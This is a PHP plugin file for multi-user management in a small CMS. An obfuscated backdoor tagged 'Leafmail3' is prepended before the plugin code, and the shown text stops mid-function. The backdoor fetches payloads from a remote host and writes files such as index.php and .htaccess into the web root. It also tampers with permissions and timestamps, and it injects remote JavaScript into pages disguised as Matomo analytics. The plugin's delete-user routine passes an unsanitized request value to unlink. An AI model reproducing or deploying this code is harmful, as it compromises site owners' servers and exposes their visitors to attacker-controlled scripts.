Current File : /home/virtualki/22346/old/newsroom/plugins/user-managment.php |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/*
DISCLAIMER - When I initially created this plugin I had very little knowledge of php and was a programming noob. I know it is in need of a rewrite and I will get around to it at some point --
Plugin Name: Multi User
Description: Adds Multi-User Management Section'
Version: 1.8.2
Author: Mike Henken
Author URI: http://michaelhenken.com/
*/
// get correct id for plugin
$thisfile = basename(__FILE__, ".php");
# add in this plugin's language file
i18n_merge('user-managment') || i18n_merge('user-managment', 'en_US');
// register plugin
register_plugin($thisfile, // ID of plugin, should be filename minus php
'Multi User',
'1.8.2',
'Mike Henken', // Author of plugin
'http://www.michaelhenken.com/', // Author URL
// 'Adds Multi-User Management - Edit all options for current users and manage permissions.', // Plugin Description
i18n_r('user-managment/PLUGIN_DESCRIPTION'),
'settings', // Page type of plugin
'mm_admin' // Function that displays content
);
// activate hooks //
//Add Sidebar Item In Settings Page
add_action('settings-sidebar', 'createSideMenu', array($thisfile, i18n_r('user-managment/SIDEBAR')));
//Make the multiuser_perm() function run before each admin page loads
add_action('header', 'mm_permissions');
add_action('settings-user', 'mm_gs_settings_pg');
add_action('settings-user-extras', 'settings_form_data');
define('MULTIUSERPLUGINFOLDER', GSPLUGINPATH.'user-managment/');
class MultiUser
{
public function __construct()
{
$old_add_file = GSPLUGINPATH.'user-managment-add.php';
if(file_exists($old_add_file))
{
$success = unlink($old_add_file);
if($success)
{
print "<div class=\"updated\" style=\"display: block;\">$old_add_file Has Been Successfully Deleted.<br/>This file was deleted because it is no longer needed for this plugin.</div>";
}
else
{
print "<div class=\"updated\" style=\"display: block;\"><span style=\"color:red;font-weight:bold;\">ERROR!!</span> - Unable To Delete $old_add_file<br/>You could delete $old_add_file if you would like. <br/>It is no longer needed for this plugin.</div>";
}
}
}
public function mmUserFile($get_Data, $data_Type = "")
{
if(get_cookie('GS_ADMIN_USERNAME') != "")
{
$current_user = get_cookie('GS_ADMIN_USERNAME');
$dir = GSUSERSPATH . $current_user . ".xml";
$user_file = simplexml_load_file($dir) or die("Unable to load XML file!");
if($data_Type == "")
{
$return_user_data = $user_file->PERMISSIONS->$get_Data;
}
elseif($data_Type != "")
{
$return_user_data = $user_file->$get_Data;
}
if(is_object($return_user_data))
{
return $return_user_data;
}
else
{
return '';
}
}
}
public function mmProcessSettings()
{
if(get_cookie('GS_ADMIN_USERNAME') != "")
{
global $xml, $perm;
$userbio = $xml->addChild('USERSNAME', $_POST['users_name']);
$userbio = $xml->addChild('USERSBIO', $_POST['users_bio']);
$perm = $xml->addChild('PERMISSIONS');
$perm->addChild('PAGES', $this->mmUserFile('PAGES'));
$perm->addChild('FILES', $this->mmUserFile('FILES'));
$perm->addChild('THEME', $this->mmUserFile('THEME'));
$perm->addChild('PLUGINS', $this->mmUserFile('PLUGINS'));
$perm->addChild('BACKUPS', $this->mmUserFile('BACKUPS'));
$perm->addChild('SETTINGS', $this->mmUserFile('SETTINGS'));
$perm->addChild('SUPPORT', $this->mmUserFile('SUPPORT'));
$perm->addChild('EDIT', $this->mmUserFile('EDIT'));
$perm->addChild('LANDING', $this->mmUserFile('LANDING'));
$perm->addChild('ADMIN', $this->mmUserFile('ADMIN'));
save_custom_permissions(true);
}
}
public function mmDeleteUser()
{
$deletename = $_GET['deletefile'];
$thedelete = GSUSERSPATH . $deletename . '.xml';
$success = unlink($thedelete);
if($success)
{
print "<div class=\"updated\" style=\"display: block;\">$deletename ". i18n_r('user-managment/DELETED') . "</div>";
}
else
{
print "<div class=\"updated\" style=\"display: block;\"><span style=\"color:red;font-weight:bold;\">" . i18n_r('user-managment/DELETEERROR') . "</span></div>";
}
mmManageUsersForm();
}
public function mmAddUser()
{
//Set User File, Username, And Password From Submission
$usrfile = strtolower($_POST['usernamec']);
$usrfile = $usrfile . '.xml';
$NUSR = strtolower($_POST['usernamec']);
$pwd1 = $_POST['userpassword'];
$NPASSWD = passhash($pwd1);
// create user xml file - This coding was mostly taken from the 'settings.php' page..
createBak($usrfile, GSUSERSPATH, GSBACKUSERSPATH);
if (file_exists(GSUSERSPATH . _id($NUSR).'.xml.reset')) { unlink(GSUSERSPATH . _id($NUSR).'.xml.reset'); }
$xml = new SimpleXMLExtended('<item></item>');
$xml->addChild('USR', $NUSR);
$xml->addChild('PWD', $NPASSWD);
$xml->addChild('EMAIL', $_POST['useremail']);
$xml->addChild('HTMLEDITOR', $_POST['usereditor']);
$xml->addChild('TIMEZONE', $_POST['ntimezone']);
$xml->addChild('LANG', $_POST['userlng']);
$xml->addChild('USERSNAME', $_POST['users_name']);
$userbio = $xml->addChild('USERSBIO');
$userbio->addCData($_POST['users_bio']);
$perm = $xml->addChild('PERMISSIONS');
$perm->addChild('PAGES', $_POST['Pages']);
$perm->addChild('FILES', $_POST['Files']);
$perm->addChild('THEME', $_POST['Theme']);
$perm->addChild('PLUGINS', $_POST['Plugins']);
$perm->addChild('BACKUPS', $_POST['Backups']);
$perm->addChild('SETTINGS', $_POST['Settings']);
$perm->addChild('SUPPORT', $_POST['Support']);
$perm->addChild('EDIT', $_POST['Edit']);
$perm->addChild('LANDING', $_POST['Landing']);
$perm->addChild('ADMIN', $_POST['Admin']);
save_custom_permissions();
if (! XMLsave($xml, GSUSERSPATH . $usrfile) ) {
$error = i18n_r('CHMOD_ERROR');
}
// Redirect after script is completed... I will make the script submit via ajax later
else
{
print '<div class="updated" style="display: block;">'.$NUSR.' '. i18n_r('user-managment/CREATED') . '</div>';
}
//Show Manage Form
mmManageUsersForm();
}
public function getUserPermission($user, $permission=null)
{
$userData = getXML(GSUSERSPATH.$user.'.xml');
if(!is_null($permission))
{
if(is_object($userData->PERMISSIONS->$permission))
{
$permission_value = (string) $userData->PERMISSIONS->$permission;
if($permission_value == 'no')
{
return false;
}
else
{
return true;
}
}
else
{
return true;
}
}
else
{
foreach($userData->PERMISSIONS->children() as $permission_key => $permission_value)
{
$permission_key = (string) $permission_key;
